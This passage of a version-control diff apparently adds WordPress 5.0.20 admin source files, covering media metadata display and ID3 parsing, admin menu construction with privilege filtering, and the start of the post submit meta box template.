+		if ( ! empty( $file_size ) ) : ?>
+			<div class="misc-pub-section misc-pub-filesize">
+				<?php _e( 'File size:' ); ?> <strong><?php echo size_format( $file_size ); ?></strong>
+			</div>
+			<?php
+		endif;
+
+	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
+		$fields = array(
+			'length_formatted' => __( 'Length:' ),
+			'bitrate'          => __( 'Bitrate:' ),
+		);
+
+		/**
+		 * Filters the audio and video metadata fields to be shown in the publish meta box.
+		 *
+		 * The key for each item in the array should correspond to an attachment
+		 * metadata key, and the value should be the desired label.
+		 *
+		 * @since 3.7.0
+		 * @since 4.9.0 Added the `$post` parameter.
+		 *
+		 * @param array   $fields An array of the attachment metadata keys and labels.
+		 * @param WP_Post $post   WP_Post object for the current attachment.
+		 */
+		$fields = apply_filters( 'media_submitbox_misc_sections', $fields, $post );
+
+		foreach ( $fields as $key => $label ) {
+			if ( empty( $meta[ $key ] ) ) {
+				continue;
+			}
+	?>
+		<div class="misc-pub-section misc-pub-mime-meta misc-pub-<?php echo sanitize_html_class( $key ); ?>">
+			<?php echo $label ?> <strong><?php
+				switch ( $key ) {
+					case 'bitrate' :
+						echo round( $meta['bitrate'] / 1000 ) . 'kb/s';
+						if ( ! empty( $meta['bitrate_mode'] ) ) {
+							echo ' ' . strtoupper( esc_html( $meta['bitrate_mode'] ) );
+						}
+						break;
+					default:
+						echo esc_html( $meta[ $key ] );
+						break;
+				}
+			?></strong>
+		</div>
+	<?php
+		}
+
+		$fields = array(
+			'dataformat' => __( 'Audio Format:' ),
+			'codec'      => __( 'Audio Codec:' )
+		);
+
+		/**
+		 * Filters the audio attachment metadata fields to be shown in the publish meta box.
+		 *
+		 * The key for each item in the array should correspond to an attachment
+		 * metadata key, and the value should be the desired label.
+		 *
+		 * @since 3.7.0
+		 * @since 4.9.0 Added the `$post` parameter.
+		 *
+		 * @param array   $fields An array of the attachment metadata keys and labels.
+		 * @param WP_Post $post   WP_Post object for the current attachment.
+		 */
+		$audio_fields = apply_filters( 'audio_submitbox_misc_sections', $fields, $post );
+
+		foreach ( $audio_fields as $key => $label ) {
+			if ( empty( $meta['audio'][ $key ] ) ) {
+				continue;
+			}
+	?>
+		<div class="misc-pub-section misc-pub-audio misc-pub-<?php echo sanitize_html_class( $key ); ?>">
+			<?php echo $label; ?> <strong><?php echo esc_html( $meta['audio'][$key] ); ?></strong>
+		</div>
+	<?php
+		}
+
+	}
+
+	if ( $media_dims ) : ?>
+	<div class="misc-pub-section misc-pub-dimensions">
+		<?php _e( 'Dimensions:' ); ?> <strong><?php echo $media_dims; ?></strong>
+	</div>
+<?php
+	endif;
+}
+
+/**
+ * Parse ID3v2, ID3v1, and getID3 comments to extract usable data
+ *
+ * @since 3.6.0
+ *
+ * @param array $metadata An existing array with data
+ * @param array $data Data supplied by ID3 tags
+ */
+function wp_add_id3_tag_data( &$metadata, $data ) {
+	foreach ( array( 'id3v2', 'id3v1' ) as $version ) {
+		if ( ! empty( $data[$version]['comments'] ) ) {
+			foreach ( $data[$version]['comments'] as $key => $list ) {
+				if ( 'length' !== $key && ! empty( $list ) ) {
+					$metadata[$key] = wp_kses_post( reset( $list ) );
+					// Fix bug in byte stream analysis.
+					if ( 'terms_of_use' === $key && 0 === strpos( $metadata[$key], 'yright notice.' ) )
+						$metadata[$key] = 'Cop' . $metadata[$key];
+				}
+			}
+			break;
+		}
+	}
+
+	if ( ! empty( $data['id3v2']['APIC'] ) ) {
+		$image = reset( $data['id3v2']['APIC']);
+		if ( ! empty( $image['data'] ) ) {
+			$metadata['image'] = array(
+				'data' => $image['data'],
+				'mime' => $image['image_mime'],
+				'width' => $image['image_width'],
+				'height' => $image['image_height']
+			);
+		}
+	} elseif ( ! empty( $data['comments']['picture'] ) ) {
+		$image = reset( $data['comments']['picture'] );
+		if ( ! empty( $image['data'] ) ) {
+			$metadata['image'] = array(
+				'data' => $image['data'],
+				'mime' => $image['image_mime']
+			);
+		}
+	}
+}
+
+/**
+ * Retrieve metadata from a video file's ID3 tags
+ *
+ * @since 3.6.0
+ *
+ * @param string $file Path to file.
+ * @return array|bool Returns array of metadata, if found.
+ */
+function wp_read_video_metadata( $file ) {
+	if ( ! file_exists( $file ) ) {
+		return false;
+	}
+
+	$metadata = array();
+
+	if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
+		define( 'GETID3_TEMP_DIR', get_temp_dir() );
+	}
+
+	if ( ! class_exists( 'getID3', false ) ) {
+		require( ABSPATH . WPINC . '/ID3/getid3.php' );
+	}
+	$id3 = new getID3();
+	$data = $id3->analyze( $file );
+
+	if ( isset( $data['video']['lossless'] ) )
+		$metadata['lossless'] = $data['video']['lossless'];
+	if ( ! empty( $data['video']['bitrate'] ) )
+		$metadata['bitrate'] = (int) $data['video']['bitrate'];
+	if ( ! empty( $data['video']['bitrate_mode'] ) )
+		$metadata['bitrate_mode'] = $data['video']['bitrate_mode'];
+	if ( ! empty( $data['filesize'] ) )
+		$metadata['filesize'] = (int) $data['filesize'];
+	if ( ! empty( $data['mime_type'] ) )
+		$metadata['mime_type'] = $data['mime_type'];
+	if ( ! empty( $data['playtime_seconds'] ) )
+		$metadata['length'] = (int) round( $data['playtime_seconds'] );
+	if ( ! empty( $data['playtime_string'] ) )
+		$metadata['length_formatted'] = $data['playtime_string'];
+	if ( ! empty( $data['video']['resolution_x'] ) )
+		$metadata['width'] = (int) $data['video']['resolution_x'];
+	if ( ! empty( $data['video']['resolution_y'] ) )
+		$metadata['height'] = (int) $data['video']['resolution_y'];
+	if ( ! empty( $data['fileformat'] ) )
+		$metadata['fileformat'] = $data['fileformat'];
+	if ( ! empty( $data['video']['dataformat'] ) )
+		$metadata['dataformat'] = $data['video']['dataformat'];
+	if ( ! empty( $data['video']['encoder'] ) )
+		$metadata['encoder'] = $data['video']['encoder'];
+	if ( ! empty( $data['video']['codec'] ) )
+		$metadata['codec'] = $data['video']['codec'];
+
+	if ( ! empty( $data['audio'] ) ) {
+		unset( $data['audio']['streams'] );
+		$metadata['audio'] = $data['audio'];
+	}
+
+	if ( empty( $metadata['created_timestamp'] ) ) {
+		$created_timestamp = wp_get_media_creation_timestamp( $data );
+
+		if ( $created_timestamp !== false ) {
+			$metadata['created_timestamp'] = $created_timestamp;
+		}
+	}
+
+	wp_add_id3_tag_data( $metadata, $data );
+
+	$file_format = isset( $metadata['fileformat'] ) ? $metadata['fileformat'] : null;
+
+	/**
+	 * Filters the array of metadata retrieved from a video.
+	 *
+	 * In core, usually this selection is what is stored.
+	 * More complete data can be parsed from the `$data` parameter.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array  $metadata       Filtered Video metadata.
+	 * @param string $file           Path to video file.
+	 * @param string $file_format    File format of video, as analyzed by getID3.
+	 * @param string $data           Raw metadata from getID3.
+	 */
+	return apply_filters( 'wp_read_video_metadata', $metadata, $file, $file_format, $data );
+}
+
+/**
+ * Retrieve metadata from a audio file's ID3 tags
+ *
+ * @since 3.6.0
+ *
+ * @param string $file Path to file.
+ * @return array|bool Returns array of metadata, if found.
+ */
+function wp_read_audio_metadata( $file ) {
+	if ( ! file_exists( $file ) ) {
+		return false;
+	}
+	$metadata = array();
+
+	if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
+		define( 'GETID3_TEMP_DIR', get_temp_dir() );
+	}
+
+	if ( ! class_exists( 'getID3', false ) ) {
+		require( ABSPATH . WPINC . '/ID3/getid3.php' );
+	}
+	$id3 = new getID3();
+	$data = $id3->analyze( $file );
+
+	if ( ! empty( $data['audio'] ) ) {
+		unset( $data['audio']['streams'] );
+		$metadata = $data['audio'];
+	}
+
+	if ( ! empty( $data['fileformat'] ) )
+		$metadata['fileformat'] = $data['fileformat'];
+	if ( ! empty( $data['filesize'] ) )
+		$metadata['filesize'] = (int) $data['filesize'];
+	if ( ! empty( $data['mime_type'] ) )
+		$metadata['mime_type'] = $data['mime_type'];
+	if ( ! empty( $data['playtime_seconds'] ) )
+		$metadata['length'] = (int) round( $data['playtime_seconds'] );
+	if ( ! empty( $data['playtime_string'] ) )
+		$metadata['length_formatted'] = $data['playtime_string'];
+
+	wp_add_id3_tag_data( $metadata, $data );
+
+	return $metadata;
+}
+
+/**
+ * Parse creation date from media metadata.
+ *
+ * The getID3 library doesn't have a standard method for getting creation dates,
+ * so the location of this data can vary based on the MIME type.
+ *
+ * @since 4.9.0
+ *
+ * @link https://github.com/JamesHeinrich/getID3/blob/master/structure.txt
+ *
+ * @param array $metadata The metadata returned by getID3::analyze().
+ * @return int|bool A UNIX timestamp for the media's creation date if available
+ *                  or a boolean FALSE if a timestamp could not be determined.
+ */
+function wp_get_media_creation_timestamp( $metadata ) {
+	$creation_date = false;
+
+	if ( empty( $metadata['fileformat'] ) ) {
+		return $creation_date;
+	}
+
+	switch ( $metadata['fileformat'] ) {
+		case 'asf':
+			if ( isset( $metadata['asf']['file_properties_object']['creation_date_unix'] ) ) {
+				$creation_date = (int) $metadata['asf']['file_properties_object']['creation_date_unix'];
+			}
+			break;
+
+		case 'matroska':
+		case 'webm':
+			if ( isset( $metadata['matroska']['comments']['creation_time']['0'] ) ) {
+				$creation_date = strtotime( $metadata['matroska']['comments']['creation_time']['0'] );
+			}
+			elseif ( isset( $metadata['matroska']['info']['0']['DateUTC_unix'] ) ) {
+				$creation_date = (int) $metadata['matroska']['info']['0']['DateUTC_unix'];
+			}
+			break;
+
+		case 'quicktime':
+		case 'mp4':
+			if ( isset( $metadata['quicktime']['moov']['subatoms']['0']['creation_time_unix'] ) ) {
+				$creation_date = (int) $metadata['quicktime']['moov']['subatoms']['0']['creation_time_unix'];
+			}
+			break;
+	}
+
+	return $creation_date;
+}
+
+/**
+ * Encapsulate logic for Attach/Detach actions
+ *
+ * @since 4.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $parent_id Attachment parent ID.
+ * @param string $action    Optional. Attach/detach action. Accepts 'attach' or 'detach'.
+ *                          Default 'attach'.
+ */
+function wp_media_attach_action( $parent_id, $action = 'attach' ) {
+	global $wpdb;
+
+	if ( ! $parent_id ) {
+		return;
+	}
+
+	if ( ! current_user_can( 'edit_post', $parent_id ) ) {
+		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
+	}
+	$ids = array();
+	foreach ( (array) $_REQUEST['media'] as $att_id ) {
+		$att_id = (int) $att_id;
+
+		if ( ! current_user_can( 'edit_post', $att_id ) ) {
+			continue;
+		}
+
+		$ids[] = $att_id;
+	}
+
+	if ( ! empty( $ids ) ) {
+		$ids_string = implode( ',', $ids );
+		if ( 'attach' === $action ) {
+			$result = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_parent = %d WHERE post_type = 'attachment' AND ID IN ( $ids_string )", $parent_id ) );
+		} else {
+			$result = $wpdb->query( "UPDATE $wpdb->posts SET post_parent = 0 WHERE post_type = 'attachment' AND ID IN ( $ids_string )" );
+		}
+
+		foreach ( $ids as $att_id ) {
+			clean_attachment_cache( $att_id );
+		}
+	}
+
+	if ( isset( $result ) ) {
+		$location = 'upload.php';
+		if ( $referer = wp_get_referer() ) {
+			if ( false !== strpos( $referer, 'upload.php' ) ) {
+				$location = remove_query_arg( array( 'attached', 'detach' ), $referer );
+			}
+		}
+
+		$key = 'attach' === $action ? 'attached' : 'detach';
+		$location = add_query_arg( array( $key => $result ), $location );
+		wp_redirect( $location );
+		exit;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/menu.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/menu.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/menu.php	(revision 56912)
@@ -0,0 +1,345 @@
+<?php
+/**
+ * Build Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( is_network_admin() ) {
+
+	/**
+	 * Fires before the administration menu loads in the Network Admin.
+	 *
+	 * The hook fires before menus and sub-menus are removed based on user privileges.
+	 *
+	 * @private
+	 * @since 3.1.0
+	 */
+	do_action( '_network_admin_menu' );
+} elseif ( is_user_admin() ) {
+
+	/**
+	 * Fires before the administration menu loads in the User Admin.
+	 *
+	 * The hook fires before menus and sub-menus are removed based on user privileges.
+	 *
+	 * @private
+	 * @since 3.1.0
+	 */
+	do_action( '_user_admin_menu' );
+} else {
+
+	/**
+	 * Fires before the administration menu loads in the admin.
+	 *
+	 * The hook fires before menus and sub-menus are removed based on user privileges.
+	 *
+	 * @private
+	 * @since 2.2.0
+	 */
+	do_action( '_admin_menu' );
+}
+
+// Create list of page plugin hook names.
+foreach ($menu as $menu_page) {
+	if ( false !== $pos = strpos($menu_page[2], '?') ) {
+		// Handle post_type=post|page|foo pages.
+		$hook_name = substr($menu_page[2], 0, $pos);
+		$hook_args = substr($menu_page[2], $pos + 1);
+		wp_parse_str($hook_args, $hook_args);
+		// Set the hook name to be the post type.
+		if ( isset($hook_args['post_type']) )
+			$hook_name = $hook_args['post_type'];
+		else
+			$hook_name = basename($hook_name, '.php');
+		unset($hook_args);
+	} else {
+		$hook_name = basename($menu_page[2], '.php');
+	}
+	$hook_name = sanitize_title($hook_name);
+
+	if ( isset($compat[$hook_name]) )
+		$hook_name = $compat[$hook_name];
+	elseif ( !$hook_name )
+		continue;
+
+	$admin_page_hooks[$menu_page[2]] = $hook_name;
+}
+unset($menu_page, $compat);
+
+$_wp_submenu_nopriv = array();
+$_wp_menu_nopriv = array();
+// Loop over submenus and remove pages for which the user does not have privs.
+foreach ($submenu as $parent => $sub) {
+	foreach ($sub as $index => $data) {
+		if ( ! current_user_can($data[1]) ) {
+			unset($submenu[$parent][$index]);
+			$_wp_submenu_nopriv[$parent][$data[2]] = true;
+		}
+	}
+	unset($index, $data);
+
+	if ( empty($submenu[$parent]) )
+		unset($submenu[$parent]);
+}
+unset($sub, $parent);
+
+/*
+ * Loop over the top-level menu.
+ * Menus for which the original parent is not accessible due to lack of privileges
+ * will have the next submenu in line be assigned as the new menu parent.
+ */
+foreach ( $menu as $id => $data ) {
+	if ( empty($submenu[$data[2]]) )
+		continue;
+	$subs = $submenu[$data[2]];
+	$first_sub = reset( $subs );
+	$old_parent = $data[2];
+	$new_parent = $first_sub[2];
+	/*
+	 * If the first submenu is not the same as the assigned parent,
+	 * make the first submenu the new parent.
+	 */
+	if ( $new_parent != $old_parent ) {
+		$_wp_real_parent_file[$old_parent] = $new_parent;
+		$menu[$id][2] = $new_parent;
+
+		foreach ($submenu[$old_parent] as $index => $data) {
+			$submenu[$new_parent][$index] = $submenu[$old_parent][$index];
+			unset($submenu[$old_parent][$index]);
+		}
+		unset($submenu[$old_parent], $index);
+
+		if ( isset($_wp_submenu_nopriv[$old_parent]) )
+			$_wp_submenu_nopriv[$new_parent] = $_wp_submenu_nopriv[$old_parent];
+	}
+}
+unset($id, $data, $subs, $first_sub, $old_parent, $new_parent);
+
+if ( is_network_admin() ) {
+
+	/**
+	 * Fires before the administration menu loads in the Network Admin.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $context Empty context.
+	 */
+	do_action( 'network_admin_menu', '' );
+} elseif ( is_user_admin() ) {
+
+	/**
+	 * Fires before the administration menu loads in the User Admin.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $context Empty context.
+	 */
+	do_action( 'user_admin_menu', '' );
+} else {
+
+	/**
+	 * Fires before the administration menu loads in the admin.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $context Empty context.
+	 */
+	do_action( 'admin_menu', '' );
+}
+
+/*
+ * Remove menus that have no accessible submenus and require privileges
+ * that the user does not have. Run re-parent loop again.
+ */
+foreach ( $menu as $id => $data ) {
+	if ( ! current_user_can($data[1]) )
+		$_wp_menu_nopriv[$data[2]] = true;
+
+	/*
+	 * If there is only one submenu and it is has same destination as the parent,
+	 * remove the submenu.
+	 */
+	if ( ! empty( $submenu[$data[2]] ) && 1 == count ( $submenu[$data[2]] ) ) {
+		$subs = $submenu[$data[2]];
+		$first_sub = reset( $subs );
+		if ( $data[2] == $first_sub[2] )
+			unset( $submenu[$data[2]] );
+	}
+
+	// If submenu is empty...
+	if ( empty($submenu[$data[2]]) ) {
+		// And user doesn't have privs, remove menu.
+		if ( isset( $_wp_menu_nopriv[$data[2]] ) ) {
+			unset($menu[$id]);
+		}
+	}
+}
+unset($id, $data, $subs, $first_sub);
+
+/**
+ *
+ * @param string $add
+ * @param string $class
+ * @return string
+ */
+function add_cssclass($add, $class) {
+	$class = empty($class) ? $add : $class .= ' ' . $add;
+	return $class;
+}
+
+/**
+ *
+ * @param array $menu
+ * @return array
+ */
+function add_menu_classes($menu) {
+	$first = $lastorder = false;
+	$i = 0;
+	$mc = count($menu);
+	foreach ( $menu as $order => $top ) {
+		$i++;
+
+		if ( 0 == $order ) { // dashboard is always shown/single
+			$menu[0][4] = add_cssclass('menu-top-first', $top[4]);
+			$lastorder = 0;
+			continue;
+		}
+
+		if ( 0 === strpos($top[2], 'separator') && false !== $lastorder ) { // if separator
+			$first = true;
+			$c = $menu[$lastorder][4];
+			$menu[$lastorder][4] = add_cssclass('menu-top-last', $c);
+			continue;
+		}
+
+		if ( $first ) {
+			$c = $menu[$order][4];
+			$menu[$order][4] = add_cssclass('menu-top-first', $c);
+			$first = false;
+		}
+
+		if ( $mc == $i ) { // last item
+			$c = $menu[$order][4];
+			$menu[$order][4] = add_cssclass('menu-top-last', $c);
+		}
+
+		$lastorder = $order;
+	}
+
+	/**
+	 * Filters administration menus array with classes added for top-level items.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $menu Associative array of administration menu items.
+	 */
+	return apply_filters( 'add_menu_classes', $menu );
+}
+
+uksort($menu, "strnatcasecmp"); // make it all pretty
+
+/**
+ * Filters whether to enable custom ordering of the administration menu.
+ *
+ * See the {@see 'menu_order'} filter for reordering menu items.
+ *
+ * @since 2.8.0
+ *
+ * @param bool $custom Whether custom ordering is enabled. Default false.
+ */
+if ( apply_filters( 'custom_menu_order', false ) ) {
+	$menu_order = array();
+	foreach ( $menu as $menu_item ) {
+		$menu_order[] = $menu_item[2];
+	}
+	unset($menu_item);
+	$default_menu_order = $menu_order;
+
+	/**
+	 * Filters the order of administration menu items.
+	 *
+	 * A truthy value must first be passed to the {@see 'custom_menu_order'} filter
+	 * for this filter to work. Use the following to enable custom menu ordering:
+	 *
+	 *     add_filter( 'custom_menu_order', '__return_true' );
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $menu_order An ordered array of menu items.
+	 */
+	$menu_order = apply_filters( 'menu_order', $menu_order );
+	$menu_order = array_flip($menu_order);
+	$default_menu_order = array_flip($default_menu_order);
+
+	/**
+	 *
+	 * @global array $menu_order
+	 * @global array $default_menu_order
+	 *
+	 * @param array $a
+	 * @param array $b
+	 * @return int
+	 */
+	function sort_menu($a, $b) {
+		global $menu_order, $default_menu_order;
+		$a = $a[2];
+		$b = $b[2];
+		if ( isset($menu_order[$a]) && !isset($menu_order[$b]) ) {
+			return -1;
+		} elseif ( !isset($menu_order[$a]) && isset($menu_order[$b]) ) {
+			return 1;
+		} elseif ( isset($menu_order[$a]) && isset($menu_order[$b]) ) {
+			if ( $menu_order[$a] == $menu_order[$b] )
+				return 0;
+			return ($menu_order[$a] < $menu_order[$b]) ? -1 : 1;
+		} else {
+			return ($default_menu_order[$a] <= $default_menu_order[$b]) ? -1 : 1;
+		}
+	}
+
+	usort($menu, 'sort_menu');
+	unset($menu_order, $default_menu_order);
+}
+
+// Prevent adjacent separators
+$prev_menu_was_separator = false;
+foreach ( $menu as $id => $data ) {
+	if ( false === stristr( $data[4], 'wp-menu-separator' ) ) {
+
+		// This item is not a separator, so falsey the toggler and do nothing
+		$prev_menu_was_separator = false;
+	} else {
+
+		// The previous item was a separator, so unset this one
+		if ( true === $prev_menu_was_separator ) {
+			unset( $menu[ $id ] );
+		}
+
+		// This item is a separator, so truthy the toggler and move on
+		$prev_menu_was_separator = true;
+	}
+}
+unset( $id, $data, $prev_menu_was_separator );
+
+// Remove the last menu item if it is a separator.
+$last_menu_key = array_keys( $menu );
+$last_menu_key = array_pop( $last_menu_key );
+if ( !empty( $menu ) && 'wp-menu-separator' == $menu[ $last_menu_key ][ 4 ] )
+	unset( $menu[ $last_menu_key ] );
+unset( $last_menu_key );
+
+if ( !user_can_access_admin_page() ) {
+
+	/**
+	 * Fires when access to an admin page is denied.
+	 *
+	 * @since 2.5.0
+	 */
+	do_action( 'admin_page_access_denied' );
+
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+}
+
+$menu = add_menu_classes($menu);
Index: /tags/5.0.20/src/wp-admin/includes/meta-boxes.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/meta-boxes.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/meta-boxes.php	(revision 56912)
@@ -0,0 +1,1445 @@
+<?php
+
+// -- Post related Meta Boxes
+
+/**
+ * Displays post submit form fields.
+ *
+ * @since 2.7.0
+ *
+ * @global string $action
+ *
+ * @param WP_Post  $post Current post object.
+ * @param array    $args {
+ *     Array of arguments for building the post submit meta box.
+ *
+ *     @type string   $id       Meta box 'id' attribute.
+ *     @type string   $title    Meta box title.
+ *     @type callable $callback Meta box display callback.
+ *     @type array    $args     Extra meta box arguments.
+ * }
+ */
+function post_submit_meta_box( $post, $args = array() ) {
+	global $action;
+
+	$post_type = $post->post_type;
+	$post_type_object = get_post_type_object($post_type);
+	$can_publish = current_user_can($post_type_object->cap->publish_posts);
+?>
+<div class="submitbox" id="submitpost">
+
+<div id="minor-publishing">
+
+<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?>
+<div style="display:none;">
+<?php submit_button( __( 'Save' ), '', 'save' ); ?>
+</div>
+
+<div id="minor-publishing-actions">
+<div id="save-action">
+<?php if ( 'publish' != $post->post_status && 'future' != $post->post_status && 'pending' != $post->post_status ) { ?>
+<input <?php if ( 'private' == $post->post_status ) { ?>style="display:none"<?php } ?> type="submit" name="save" id="save-post" value="<?php esc_attr_e('Save Draft'); ?>" class="button" />
+<span class="spinner"></span>
+<?php } elseif ( 'pending' == $post->post_status && $can_publish ) { ?>
+<input type="submit" name="save" id="save-post" value="<?php esc_attr_e('Save as Pending'); ?>" class="button" />
+<span class="spinner"></span>
+<?php } ?>
+</div>
+<?php if ( is_post_type_viewable( $post_type_object ) ) : ?>
+<div id="preview-action">
+<?php
+$preview_link = esc_url( get_preview_post_link( $post ) );
+if ( 'publish' == $post->post_status ) {
+	$preview_button_text = __( 'Preview Changes' );
+} else {
+	$preview_button_text = __( 'Preview' );
+}
+
+$preview_button = sprintf( '%1$s<span class="screen-reader-text"> %2$s</span>',
+	$preview_button_text,
+	/* translators: accessibility text */
+	__( '(opens in a new window)' )
+);
+?>
+<a class="preview button" href="<?php echo $preview_link; ?>" target="wp-preview-<?php echo (int) $post->ID; ?>" id="post-preview"><?php echo $preview_button; ?></a>
+<input type="hidden" name="wp-preview" id="wp-preview" value="" />
+</div>
+<?php endif; // public post type ?>
+<?php
+/**
+ * Fires before the post time/date setting in the Publish meta box.
+ *
+ * @since 4.4.0
+ *
+ * @param WP_Post $post WP_Post object for the current post.
+ */
+do_action( 'post_submitbox_minor_actions', $post );
+?>
+<div class="clear"></div>
+</div><!-- #minor-publishing-actions -->
+
+<div id="misc-publishing-actions">
+
+<div class="misc-pub-section misc-pub-post-status">
+<?php _e( 'Status:' ) ?> <span id="post-status-display"><?php
+
+switch ( $post->post_status ) {
+	case 'private':
+		_e('Privately Published');
+		break;
+	case 'publish':
+		_e('Published');
+		break;
+	case 'future':
+		_e('Scheduled');
+		break;
+	case 'pending':
+		_e('Pending Review');
+		break;
+	case 'draft':
+	case 'auto-draft':
+		_e('Draft');
+		break;
+}
+?>
+</span>
+<?php if ( 'publish' == $post->post_status || 'private' == $post->post_status || $can_publish ) { ?>
+<a href="#post_status" <?php if ( 'private' == $post->post_status ) { ?>style="display:none;" <?php } ?>class="edit-post-status hide-if-no-js" role="button"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit status' ); ?></span></a>
+
+<div id="post-status-select" class="hide-if-js">
+<input type="hidden" name="hidden_post_status" id="hidden_post_status" value="<?php echo esc_attr( ('auto-draft' == $post->post_status ) ? 'draft' : $post->post_status); ?>" />
+<label for="post_status" class="screen-reader-text"><?php _e( 'Set status' ) ?></label>
+<select name="post_status" id="post_status">
+<?php if ( 'publish' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'publish' ); ?> value='publish'><?php _e('Published') ?></option>
+<?php elseif ( 'private' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'private' ); ?> value='publish'><?php _e('Privately Published') ?></option>
+<?php elseif ( 'future' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'future' ); ?> value='future'><?php _e('Scheduled') ?></option>
+<?php endif; ?>
+<option<?php selected( $post->post_status, 'pending' ); ?> value='pending'><?php _e('Pending Review') ?></option>
+<?php if ( 'auto-draft' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'auto-draft' ); ?> value='draft'><?php _e('Draft') ?></option>
+<?php else : ?>
+<option<?php selected( $post->post_status, 'draft' ); ?> value='draft'><?php _e('Draft') ?></option>
+<?php endif; ?>
+</select>
+ <a href="#post_status" class="save-post-status hide-if-no-js button"><?php _e('OK'); ?></a>
+ <a href="#post_status" class="cancel-post-status hide-if-no-js button-cancel"><?php _e('Cancel'); ?></a>
+</div>
+
+<?php } ?>
+</div><!-- .misc-pub-section -->
+
+<div class="misc-pub-section misc-pub-visibility" id="visibility">
+<?php _e('Visibility:'); ?> <span id="post-visibility-display"><?php
+
+if ( 'private' == $post->post_status ) {
+	$post->post_password = '';
+	$visibility = 'private';
+	$visibility_trans = __('Private');
+} elseif ( !empty( $post->post_password ) ) {
+	$visibility = 'password';
+	$visibility_trans = __('Password protected');
+} elseif ( $post_type == 'post' && is_sticky( $post->ID ) ) {
+	$visibility = 'public';
+	$visibility_trans = __('Public, Sticky');
+} else {
+	$visibility = 'public';
+	$visibility_trans = __('Public');
+}
+
+echo esc_html( $visibility_trans ); ?></span>
+<?php if ( $can_publish ) { ?>
+<a href="#visibility" class="edit-visibility hide-if-no-js" role="button"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit visibility' ); ?></span></a>
+
+<div id="post-visibility-select" class="hide-if-js">
+<input type="hidden" name="hidden_post_password" id="hidden-post-password" value="<?php echo esc_attr($post->post_password); ?>" />
+<?php if ($post_type == 'post'): ?>
+<input type="checkbox" style="display:none" name="hidden_post_sticky" id="hidden-post-sticky" value="sticky" <?php checked(is_sticky($post->ID)); ?> />
+<?php endif; ?>
+<input type="hidden" name="hidden_post_visibility" id="hidden-post-visibility" value="<?php echo esc_attr( $visibility ); ?>" />
+<input type="radio" name="visibility" id="visibility-radio-public" value="public" <?php checked( $visibility, 'public' ); ?> /> <label for="visibility-radio-public" class="selectit"><?php _e('Public'); ?></label><br />
+<?php if ( $post_type == 'post' && current_user_can( 'edit_others_posts' ) ) : ?>
+<span id="sticky-span"><input id="sticky" name="sticky" type="checkbox" value="sticky" <?php checked( is_sticky( $post->ID ) ); ?> /> <label for="sticky" class="selectit"><?php _e( 'Stick this post to the front page' ); ?></label><br /></span>
+<?php endif; ?>
+<input type="radio" name="visibility" id="visibility-radio-password" value="password" <?php checked( $visibility, 'password' ); ?> /> <label for="visibility-radio-password" class="selectit"><?php _e('Password protected'); ?></label><br />
+<span id="password-span"><label for="post_password"><?php _e('Password:'); ?></label> <input type="text" name="post_password" id="post_password" value="<?php echo esc_attr($post->post_password); ?>"  maxlength="255" /><br /></span>
+<input type="radio" name="visibility" id="visibility-radio-private" value="private" <?php checked( $visibility, 'private' ); ?> /> <label for="visibility-radio-private" class="selectit"><?php _e('Private'); ?></label><br />
+
+<p>
+ <a href="#visibility" class="save-post-visibility hide-if-no-js button"><?php _e('OK'); ?></a>
+ <a href="#visibility" class="cancel-post-visibility hide-if-no-js button-cancel"><?php _e('Cancel'); ?></a>
+</p>
+</div>
+<?php } ?>
+
+</div><!-- .misc-pub-section -->
+
+<?php
+/* translators: Publish box date format, see https://secure.php.net/date */
+$datef = __( 'M j, Y @ H:i' );
+if ( 0 != $post->ID ) {
+	if ( 'future' == $post->post_status ) { // scheduled for publishing at a future date
+		/* translators: Post date information. 1: Date on which the post is currently scheduled to be published */
+		$stamp = __('Scheduled for: <b>%1$s</b>');
+	} elseif ( 'publish' == $post->post_status || 'private' == $post->post_status ) { // already published
+		/* translators: Post date information. 1: Date on which the post was published */
+		$stamp = __('Published on: <b>%1$s</b>');
+	} elseif ( '0000-00-00 00:00:00' == $post->post_date_gmt ) { // draft, 1 or more saves, no date specified
+		$stamp = __('Publish <b>immediately</b>');
+	} elseif ( time() < strtotime( $post->post_date_gmt . ' +0000' ) ) { // draft, 1 or more saves, future date specified
+		/* translators: Post date information. 1: Date on which the post is to be published */
+		$stamp = __('Schedule for: <b>%1$s</b>');
+	} else { // draft, 1 or more saves, date specified
+		/* translators: Post date information. 1: Date on which the post is to be published */
+		$stamp = __('Publish on: <b>%1$s</b>');
+	}
+	$date = date_i18n( $datef, strtotime( $post->post_date ) );
+} else { // draft (no saves, and thus no date specified)
+	$stamp = __('Publish <b>immediately</b>');
+	$date = date_i18n( $datef, strtotime( current_time('mysql') ) );
+}
+
+if ( ! empty( $args['args']['revisions_count'] ) ) : ?>
+<div class="misc-pub-section misc-pub-revisions">
+	<?php
+		/* translators: Post revisions heading. 1: The number of available revisions */
+		printf( __( 'Revisions: %s' ), '<b>' . number_format_i18n( $args['args']['revisions_count'] ) . '</b>' );
+	?>
